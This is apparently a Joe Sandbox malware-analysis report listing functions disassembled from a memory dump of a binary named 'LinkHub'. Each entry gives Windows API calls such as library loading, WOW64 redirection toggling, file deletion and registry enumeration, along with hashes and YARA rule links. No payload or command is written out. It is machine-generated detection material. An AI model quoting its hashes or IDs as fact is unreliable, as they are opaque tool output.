                                                                            • SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00E63A29
                                                                            • LoadLibraryW.KERNEL32(?), ref: 00E63A30
                                                                            • SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00E63A45
                                                                            • DestroyWindow.USER32(?), ref: 00E63A4D
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: MessageSend$DestroyLibraryLoadWindow
                                                                            • String ID: SysAnimate32
                                                                            • API String ID: 3529120543-1011021900
                                                                            • Opcode ID: 9f9b1dd89f10b4aa0d1505c73e517672f6589169b6ee5cc0cd0991ed1be743b3
                                                                            • Instruction ID: 347e3eaa8302d406b09159c349472b7d5023314a2bf038304583ad371b682247
                                                                            • Opcode Fuzzy Hash: 9f9b1dd89f10b4aa0d1505c73e517672f6589169b6ee5cc0cd0991ed1be743b3
                                                                            • Instruction Fuzzy Hash: 2321A171640205AFEF108FB4EC80FBB77E9EB853A8F106219FA91B2191D771DD40A760
                                                                            Function 00E69A25 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00DD24B0
                                                                            • GetCursorPos.USER32(?), ref: 00E69A5D
                                                                            • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00E69A72
                                                                            • GetCursorPos.USER32(?), ref: 00E69ABA
                                                                            • DefDlgProcW.USER32(?,0000007B,?,?,?,?), ref: 00E69AF0
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Cursor$LongMenuPopupProcTrackWindow
                                                                            • String ID: (
                                                                            • API String ID: 2864067406-2063206799
                                                                            • Opcode ID: a76b5f43b2cf3cfa8d033526b40f8a85b102d581a3d3e056d3d32b12ac6bf460
                                                                            • Instruction ID: 867de090538b4e4e8d7bdfd507186abfc37236e1a36dd6fc3c2fe68a8114f59e
                                                                            • Opcode Fuzzy Hash: a76b5f43b2cf3cfa8d033526b40f8a85b102d581a3d3e056d3d32b12ac6bf460
                                                                            • Instruction Fuzzy Hash: 5021AD34600018EFCF258F99E848EFA7FB9EB4A790F404159FA056B2A2D3709954DB60
                                                                            Function 00DD1AAC Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 56COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DD249F: GetWindowLongW.USER32(00000000,000000EB), ref: 00DD24B0
                                                                            • DefDlgProcW.USER32(?,00000020,?,00000000), ref: 00DD1AF4
                                                                            • GetClientRect.USER32(?,?), ref: 00E131F9
                                                                            • GetCursorPos.USER32(?), ref: 00E13203
                                                                            • ScreenToClient.USER32(?,?), ref: 00E1320E
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Client$CursorLongProcRectScreenWindow
                                                                            • String ID: (
                                                                            • API String ID: 4127811313-2063206799
                                                                            • Opcode ID: 75edec82da95dd15e2489a761aeec18cff86607652adb5c2cbf08bac93745e3b
                                                                            • Instruction ID: 4abd92bdbdb30c2f327b68d529de12ca92a81cd2f3e9d0ec3c1a10ac03de5e57
                                                                            • Opcode Fuzzy Hash: 75edec82da95dd15e2489a761aeec18cff86607652adb5c2cbf08bac93745e3b
                                                                            • Instruction Fuzzy Hash: 7B112835A01119BFCB009FA8D9459EE7BB8FB45394F501456E912F2240C771BA96CBB1
                                                                            Function 00DF50DD Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00DF508E,00000003,?,00DF502E,00000003,00E998D8,0000000C,00DF5185,00000003,00000002), ref: 00DF50FD
                                                                            • GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00DF5110
                                                                            • FreeLibrary.KERNEL32(00000000,?,?,?,00DF508E,00000003,?,00DF502E,00000003,00E998D8,0000000C,00DF5185,00000003,00000002,00000000), ref: 00DF5133
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: AddressFreeHandleLibraryModuleProc
                                                                            • String ID: CorExitProcess$mscoree.dll
                                                                            • API String ID: 4061214504-1276376045
                                                                            • Opcode ID: 3cae9d9530b60b15e80005d2139f97b858f8af79c8a304f8b431470cb39ca44b
                                                                            • Instruction ID: b9e2a13acdc57260ad9fd5cc95fbc1b80721dfb6cb061f41a76db0c46f51c45d
                                                                            • Opcode Fuzzy Hash: 3cae9d9530b60b15e80005d2139f97b858f8af79c8a304f8b431470cb39ca44b
                                                                            • Instruction Fuzzy Hash: A0F0A430A0430CBFDB149F99EC09BAEBFB4EF09752F454065F909B6160DBB05944CAA0
                                                                            Function 00E2E778 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • LoadLibraryA.KERNEL32 ref: 00E2E785
                                                                            • GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00E2E797
                                                                            • FreeLibrary.KERNEL32(00000000), ref: 00E2E7BD
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Library$AddressFreeLoadProc
                                                                            • String ID: GetSystemWow64DirectoryW$X64
                                                                            • API String ID: 145871493-2590602151
                                                                            • Opcode ID: 78cc9258bbd19ce662df73f00399a18b2eeafd418112e118002efd9c97bcdd3a
                                                                            • Instruction ID: 5a87cc40c696377ecf402698763236c0ab83c5584cdbdb4f1cf623373c9f5c85
                                                                            • Opcode Fuzzy Hash: 78cc9258bbd19ce662df73f00399a18b2eeafd418112e118002efd9c97bcdd3a
                                                                            • Instruction Fuzzy Hash: 3CE02BB1D076719FEB7167216C44EAA72146F12B44B101559F801F6350DBB4CD8C8A94
                                                                            Function 00DD663E Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • LoadLibraryA.KERNEL32(kernel32.dll,?,?,00DD668B,?,?,00DD62FA,?,00000001,?,?,00000000), ref: 00DD664A
                                                                            • GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00DD665C
                                                                            • FreeLibrary.KERNEL32(00000000,?,?,00DD668B,?,?,00DD62FA,?,00000001,?,?,00000000), ref: 00DD666E
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Library$AddressFreeLoadProc
                                                                            • String ID: Wow64DisableWow64FsRedirection$kernel32.dll
                                                                            • API String ID: 145871493-3689287502
                                                                            • Opcode ID: ba4fbff09a8a0fe325ccc24a7629cdb1843132952da6a05a7e13744146c8f9bb
                                                                            • Instruction ID: dcf5e2e1a6a51f43b25acd6be81fc633945654d60cf23c86da81e6698a5eb585
                                                                            • Opcode Fuzzy Hash: ba4fbff09a8a0fe325ccc24a7629cdb1843132952da6a05a7e13744146c8f9bb
                                                                            • Instruction Fuzzy Hash: 6FE08635B066221B93111726BC08A9B65289F93B56B4D0156F900F2344DBD0CC0580F4
                                                                            Function 00DD6607 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • LoadLibraryA.KERNEL32(kernel32.dll,?,?,00E15657,?,?,00DD62FA,?,00000001,?,?,00000000), ref: 00DD6610
                                                                            • GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00DD6622
                                                                            • FreeLibrary.KERNEL32(00000000,?,?,00E15657,?,?,00DD62FA,?,00000001,?,?,00000000), ref: 00DD6635
                                                                            Strings
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Library$AddressFreeLoadProc
                                                                            • String ID: Wow64RevertWow64FsRedirection$kernel32.dll
                                                                            • API String ID: 145871493-1355242751
                                                                            • Opcode ID: 74ebf2b2186c127ae842d27809c9e717445591dc62c26c70461fd0efb0ca863e
                                                                            • Instruction ID: 3de970d8cbeb7f206ea7cc0c087c6f3184fd66fc950269d09528cce2f93e99ac
                                                                            • Opcode Fuzzy Hash: 74ebf2b2186c127ae842d27809c9e717445591dc62c26c70461fd0efb0ca863e
                                                                            • Instruction Fuzzy Hash: F7D01235B176315B462227267C18DCF6A149F92F9134D0056F800B6254CFE0CD0585E8
                                                                            Function 00E43306 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00E435C4
                                                                            • DeleteFileW.KERNEL32(?), ref: 00E43646
                                                                            • CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00E4365C
                                                                            • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00E4366D
                                                                            • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00E4367F
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: File$Delete$Copy
                                                                            • String ID:
                                                                            • API String ID: 3226157194-0
                                                                            • Opcode ID: c5d74d1f48486ed527cb91ba6ea897e994f1aac9eda5aac4e96e726af6b170d2
                                                                            • Instruction ID: 7517b88b01bc7154132c0a5fe5c8c4fff5cf1cd97e40de8c1dad0fab91ef1028
                                                                            • Opcode Fuzzy Hash: c5d74d1f48486ed527cb91ba6ea897e994f1aac9eda5aac4e96e726af6b170d2
                                                                            • Instruction Fuzzy Hash: F6B14D72E0011DABDF15DBA4DC85EEEBBBDEF48354F0040A6F609B6251EA349B448B71
                                                                            Function 00E5ADE7 Relevance: 7.8, APIs: 5, Instructions: 256COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetCurrentProcessId.KERNEL32 ref: 00E5AE87
                                                                            • OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00E5AE95
                                                                            • GetProcessIoCounters.KERNEL32(00000000,?), ref: 00E5AEC8
                                                                            • CloseHandle.KERNEL32(?), ref: 00E5B09D
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Process$CloseCountersCurrentHandleOpen
                                                                            • String ID:
                                                                            • API String ID: 3488606520-0
                                                                            • Opcode ID: 9d038637c9de28b0468350157160ba23e533cc334f597621c005bebbd17c3001
                                                                            • Instruction ID: 8f0ed6df99ea54395105dde846f5761cd6d116976374a17c454eecfc860f4be8
                                                                            • Opcode Fuzzy Hash: 9d038637c9de28b0468350157160ba23e533cc334f597621c005bebbd17c3001
                                                                            • Instruction Fuzzy Hash: D4A19D71A04301AFE720EF25C886B2AB7E1EF44714F54885DF9999B3D2DB71EC448BA1
                                                                            Function 00E5C429 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00DDB329: _wcslen.LIBCMT ref: 00DDB333
                                                                              • Part of subcall function 00E5D3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00E5C10E,?,?), ref: 00E5D415
                                                                              • Part of subcall function 00E5D3F8: _wcslen.LIBCMT ref: 00E5D451
                                                                              • Part of subcall function 00E5D3F8: _wcslen.LIBCMT ref: 00E5D4C8
                                                                              • Part of subcall function 00E5D3F8: _wcslen.LIBCMT ref: 00E5D4FE
                                                                            • RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00E5C505
                                                                            • RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00E5C560
                                                                            • RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00E5C5C3
                                                                            • RegCloseKey.ADVAPI32(?,?), ref: 00E5C606
                                                                            • RegCloseKey.ADVAPI32(00000000), ref: 00E5C613
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
                                                                            • String ID:
                                                                            • API String ID: 826366716-0
                                                                            • Opcode ID: 4aebbd93272ca16c05509bf167796ecc4b77e31ab395c9decbaae47d46dbbb11
                                                                            • Instruction ID: 133c12d8bcea0b49ad8f02b23e186f941192f1cc5cf8d0dd1d7b5b5e948fedc5
                                                                            • Opcode Fuzzy Hash: 4aebbd93272ca16c05509bf167796ecc4b77e31ab395c9decbaae47d46dbbb11
                                                                            • Instruction Fuzzy Hash: C1619F31208341AFC714DF64C890E6ABBE5FF84308F64995DF4599B292DB31ED49CBA2
                                                                            Function 00E3ED12 Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                              • Part of subcall function 00E3E6F7: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00E3D7CD,?), ref: 00E3E714
                                                                              • Part of subcall function 00E3E6F7: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00E3D7CD,?), ref: 00E3E72D
                                                                              • Part of subcall function 00E3EAB0: GetFileAttributesW.KERNEL32(?,00E3D840), ref: 00E3EAB1
                                                                            • lstrcmpiW.KERNEL32(?,?), ref: 00E3ED8A
                                                                            • MoveFileW.KERNEL32(?,?), ref: 00E3EDC3
                                                                            • _wcslen.LIBCMT ref: 00E3EF02
                                                                            • _wcslen.LIBCMT ref: 00E3EF1A
                                                                            • SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 00E3EF67
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
                                                                            • String ID:
                                                                            • API String ID: 3183298772-0
                                                                            • Opcode ID: f2aa26fc6418967766737f6e74e391b39d6832f61d89155702112e3cd23696ea
                                                                            • Instruction ID: cf8038a47a4ba9daee1de31d51fb0907929a30b0f34c3fffc755b9ce28760344
                                                                            • Opcode Fuzzy Hash: f2aa26fc6418967766737f6e74e391b39d6832f61d89155702112e3cd23696ea
                                                                            • Instruction Fuzzy Hash: A151B5B25083449BC724EB60DC859DBB7ECEF84344F40192EF285D3291EF71A688C766
                                                                            Function 00E39517 Relevance: 7.7, APIs: 5, Instructions: 159COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • VariantInit.OLEAUT32(?), ref: 00E39534
                                                                            • VariantClear.OLEAUT32 ref: 00E395A5
                                                                            • VariantClear.OLEAUT32 ref: 00E39604
                                                                            • VariantClear.OLEAUT32(?), ref: 00E39677
                                                                            • VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00E396A2
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: Variant$Clear$ChangeInitType
                                                                            • String ID:
                                                                            • API String ID: 4136290138-0
                                                                            • Opcode ID: 160bafd0a0472ac7b4797d2e2e75521f017e27d396ccc20a27181aa0642489f7
                                                                            • Instruction ID: 0b24879d5bce7becc9924a98ab4c853ef430e1041d50b091046ec72925ea2f87
                                                                            • Opcode Fuzzy Hash: 160bafd0a0472ac7b4797d2e2e75521f017e27d396ccc20a27181aa0642489f7
                                                                            • Instruction Fuzzy Hash: 605149B5A01219EFCB14CF59D884AAABBF8FF88314F158559E916EB310E770E911CF90
                                                                            Function 00E49540 Relevance: 7.6, APIs: 5, Instructions: 143COMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00E495F3
                                                                            • GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00E4961F
                                                                            • WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00E49677
                                                                            • WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00E4969C
                                                                            • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00E496A4
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: PrivateProfile$SectionWrite$String
                                                                            • String ID:
                                                                            • API String ID: 2832842796-0
                                                                            • Opcode ID: ef09b0f6d406d5d912f026e390ad3de2881eb46e58416a985865efe19135c489
                                                                            • Instruction ID: 4cf2322512e71681453380518996d4527f665e49b48f849e84aa4fd5094ec14f
                                                                            • Opcode Fuzzy Hash: ef09b0f6d406d5d912f026e390ad3de2881eb46e58416a985865efe19135c489
                                                                            • Instruction Fuzzy Hash: 3A514C35A002199FCF11DF65D881A6ABBF5FF48314F058099E849AB362CB35ED41CFA0
                                                                            Function 00E59941 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON
                                                                            Download Yara Rule
                                                                            APIs
                                                                            • LoadLibraryW.KERNEL32(?,00000000,?), ref: 00E5999D
                                                                            • GetProcAddress.KERNEL32(00000000,?), ref: 00E59A2D
                                                                            • GetProcAddress.KERNEL32(00000000,00000000), ref: 00E59A49
                                                                            • GetProcAddress.KERNEL32(00000000,?), ref: 00E59A8F
                                                                            • FreeLibrary.KERNEL32(00000000), ref: 00E59AAF
                                                                              • Part of subcall function 00DEF9D4: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00E41A02,?,753CE610), ref: 00DEF9F1
                                                                              • Part of subcall function 00DEF9D4: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00E30354,00000000,00000000,?,?,00E41A02,?,753CE610,?,00E30354), ref: 00DEFA18
                                                                            Memory Dump Source
                                                                            • Source File: 00000024.00000002.2088298175.0000000000DD1000.00000020.00000001.01000000.00000012.sdmp, Offset: 00DD0000, based on PE: true
                                                                            • Associated: 00000024.00000002.2088274741.0000000000DD0000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E6D000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088351641.0000000000E93000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088405227.0000000000E9D000.00000004.00000001.01000000.00000012.sdmpDownload File
                                                                            • Associated: 00000024.00000002.2088427415.0000000000EA5000.00000002.00000001.01000000.00000012.sdmpDownload File
                                                                            Joe Sandbox IDA Plugin
                                                                            • Snapshot File: hcaresult_36_2_dd0000_LinkHub.jbxd
                                                                            Similarity
                                                                            • API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
                                                                            • String ID:
                                                                            • API String ID: 666041331-0
                                                                            • Opcode ID: 9b30dc231543c63210aa3b579dbea781845a32449e0c51f09d4c0672d071f833
                                                                            • Instruction ID: 26ce23e3b92f29042b59a359e36992f5be6fd8f72952227f41bc0df07504725d
                                                                            • Opcode Fuzzy Hash: 9b30dc231543c63210aa3b579dbea781845a32449e0c51f09d4c0672d071f833
